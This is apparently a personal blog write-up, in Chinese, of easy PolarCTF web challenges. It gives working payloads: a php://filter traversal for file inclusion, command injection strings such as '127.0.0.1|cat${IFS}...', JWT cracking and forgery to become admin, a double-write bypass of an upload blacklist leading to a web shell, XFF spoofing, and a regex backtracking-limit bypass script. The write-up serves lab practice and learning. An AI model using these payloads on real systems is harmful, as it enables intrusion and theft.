seora's Studio.

polarCTFweb刷题记录(简单)02

字数统计: 1.4k阅读时长: 6 min
2025/12/14
loading

polarCTFweb刷题记录(简单)02

SSTI

直接用焚靖cat /flag

签到题

查看网页源代码:

PixPin_2025-07-21_15-41-02

抓包发现cookie一行有关键词相关,修改no为yes,然后Base64解码切换路由。

PixPin_2025-07-21_15-28-14

得到源代码:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
$file = $_GET['file'];
if(!isset($file))
$file = '1';
$file = str_replace('../', '', $file);
include_once($file.".php");
highlight_file(__FILE__);
?>

1.需要传入GET型参数file 2.把file中的../替换为空 3.把file参数当作php文件执行

1
?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

JWT

随便注册登陆一下账号,

抓包后看到hint:

PixPin_2025-07-21_16-50-49

解码jwt看到签名验证失败,需要secret,

PixPin_2025-07-21_17-00-57

用jwt-cracker爆一下密码:

PixPin_2025-07-21_20-21-39

修改数据包,把username改成admin得到新的JWT数据。

PixPin_2025-07-21_20-38-40

修改JWT之后可以看到用户名已经改为admin

PixPin_2025-07-21_20-41-38

查看个人信息得到flag:

PixPin_2025-07-21_20-41-53

Login

是一个登陆界面,

PixPin_2025-07-21_20-53-06

查看源代码有学号密码,输入后登录成功。修改账号为20200102后出现一个f,爆破账号得到flag:

PixPin_2025-07-21_21-02-15

PixPin_2025-07-21_21-02-15

1
flag{dlcg}

rce1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

<html>

<?php
if ($res) {
print_r($res);
}
?>

</html>

1.检查 URL 中是否有 ip 参数,并且该参数是否有值。2.将该 ip 参数值赋给 $ip 变量。

3.$ip 地址包含空格->将匹配到的空格信息(存储在 $m 中)赋值给 $res,而不是执行 ping 命令。

4.如果 IP 地址中没有空格->构造并执行 ping 命令,用 exec() 执行命令并将结果保存到 $res 中。

1
127.0.0.1;ls

PixPin_2025-07-21_21-28-00

1
127.0.0.1|cat${IFS}fllllaaag.php

PixPin_2025-07-21_21-34-38

upload

PixPin_2025-07-21_21-37-56

根据提示传参得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

1.定义黑名单。

2.获取上传文件的文件名,去掉两端空格。

3.将文件名中与黑名单中的扩展名匹配的部分替换为空。

4.$img_path 是目标路径,上传的文件将被存储到 UPLOAD_PATH 目录下,rand(10000,99999) 生成一个随机数加到文件名之前。

直接双写绕过,返回了文件上传路径:

PixPin_2025-07-23_11-46-19

然后用蚁剑连接。

PixPin_2025-07-23_11-49-14

XFF

修改XFF为1.1.1.1:

PixPin_2025-07-23_11-56-22

swp

dirsearch扫到一个叫做/.index.php.swp的备份文件。访问/.index.php.swp

PixPin_2025-07-23_12-07-43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function jiuzhe($xdmtql)
{
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql))
{
if(!jiuzhe($xdmtql))
{
if(strpos($xdmtql,'sys nb')!==false)
{
echo 'flag{*******}'; }
else{
echo 'true .swp file?'; }
}else{ echo 'nijilenijile';
}
}
  1. 要传入POST型参数$xdmtql
  2. 参数不能与/sys.*nb/is正则匹配
  3. 参数不能是数组
  4. 结果的sys nb要在第一位

使用回溯绕过法:

1
2
3
4
import requests

res=requests.post("http://bfe113aa-a61f-4a5e-afd6-1ef3b9c4f8ff.www.polarctf.com:8090/",data={"xdmtql":"sys nb"+"-"*1000000})
print(res.text)

PixPin_2025-07-23_12-25-16

投喂

dirsearch扫描发现有Dockerfile

PixPin_2025-07-24_15-21-49

PixPin_2025-07-24_15-21-59

暴露了flag在的位置,我们可以直接访问:

PixPin_2025-07-24_15-22-05

机器人

访问robots.txt得到一半flag和flag所在目录

PixPin_2025-07-24_15-31-55

PixPin_2025-07-24_15-31-48

井字棋

PixPin_2025-07-24_17-48-08

查看游戏源代码,这是一个判断哪位玩家获得胜利的函数。

代码解释:

1
2
3
4
5
6
7
fetch("game.php", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ winner: winner })
})
  1. **fetch("game.php", {...})**:
  • 这是一个 JavaScript fetch 请求,用来向服务器发送数据。fetch 是一个现代的 Web API,用于发送 HTTP 请求。这里它向 game.php 发送了一个 POST 请求。
  1. **method: "POST"**:
  • POST 方法意味着请求的目的是发送数据(而非获取数据,GET 通常用来获取数据)。通常用来提交表单数据或其他内容。
  1. **headers: {"Content-Type": "application/json"}**:
  • headers 指定了请求的头部信息,这里设置 Content-Typeapplication/json,表示请求体中传递的数据是 JSON 格式。
  1. **body: JSON.stringify({ winner: winner })**:
  • body 代表请求的主体数据,这里它将 { winner: winner } 转换成一个 JSON 字符串并发送。
  • winner 是一个变量,它的值可能是表示某个玩家或游戏条件的数据,具体取决于前端的状态。
1
2
3
4
5
6
7
8
9
10
.then(response => response.json())
.then(data => {
if (data.flag) {
// 弹出 Flag
alert("Flag: " + data.flag);
} else if (data.message) {
// 显示提示
alert(data.message);
}
})

**.then(response => response.json())**:

  • 这个 .then() 接收服务器的响应并将其转换为 JSON 格式(通过 response.json())。response 是后端返回的原始响应数据。
  • response.json() 返回的是一个包含 JSON 数据的 Promise,进一步解析后可以得到 data

**if (data.flag) {...}**:

  • 这里检查 data 中是否包含 flag 字段。如果存在 flag 字段,表示胜利条件达成,弹出一个包含 flag 内容的提示框(alert("Flag: " + data.flag))。

game.php 发送 POST 请求,把winner值改成player。

PixPin_2025-07-24_20-03-54

button

查看js代码,把9999999999999…改成0然后访问路由

PixPin_2025-07-25_10-54-38

查看源代码

PixPin_2025-07-25_10-55-55

upload1

直接上传png改后缀

PixPin_2025-07-25_10-50-20

PixPin_2025-07-25_10-52-40

CATALOG
  1. 1. polarCTFweb刷题记录(简单)02
    1. 1.1. SSTI
    2. 1.2. 签到题
    3. 1.3. JWT
    4. 1.4. Login
    5. 1.5. rce1
    6. 1.6. upload
    7. 1.7. XFF
    8. 1.8. swp
    9. 1.9. 投喂
    10. 1.10. 机器人
    11. 1.11. 井字棋
    12. 1.12. button
    13. 1.13. upload1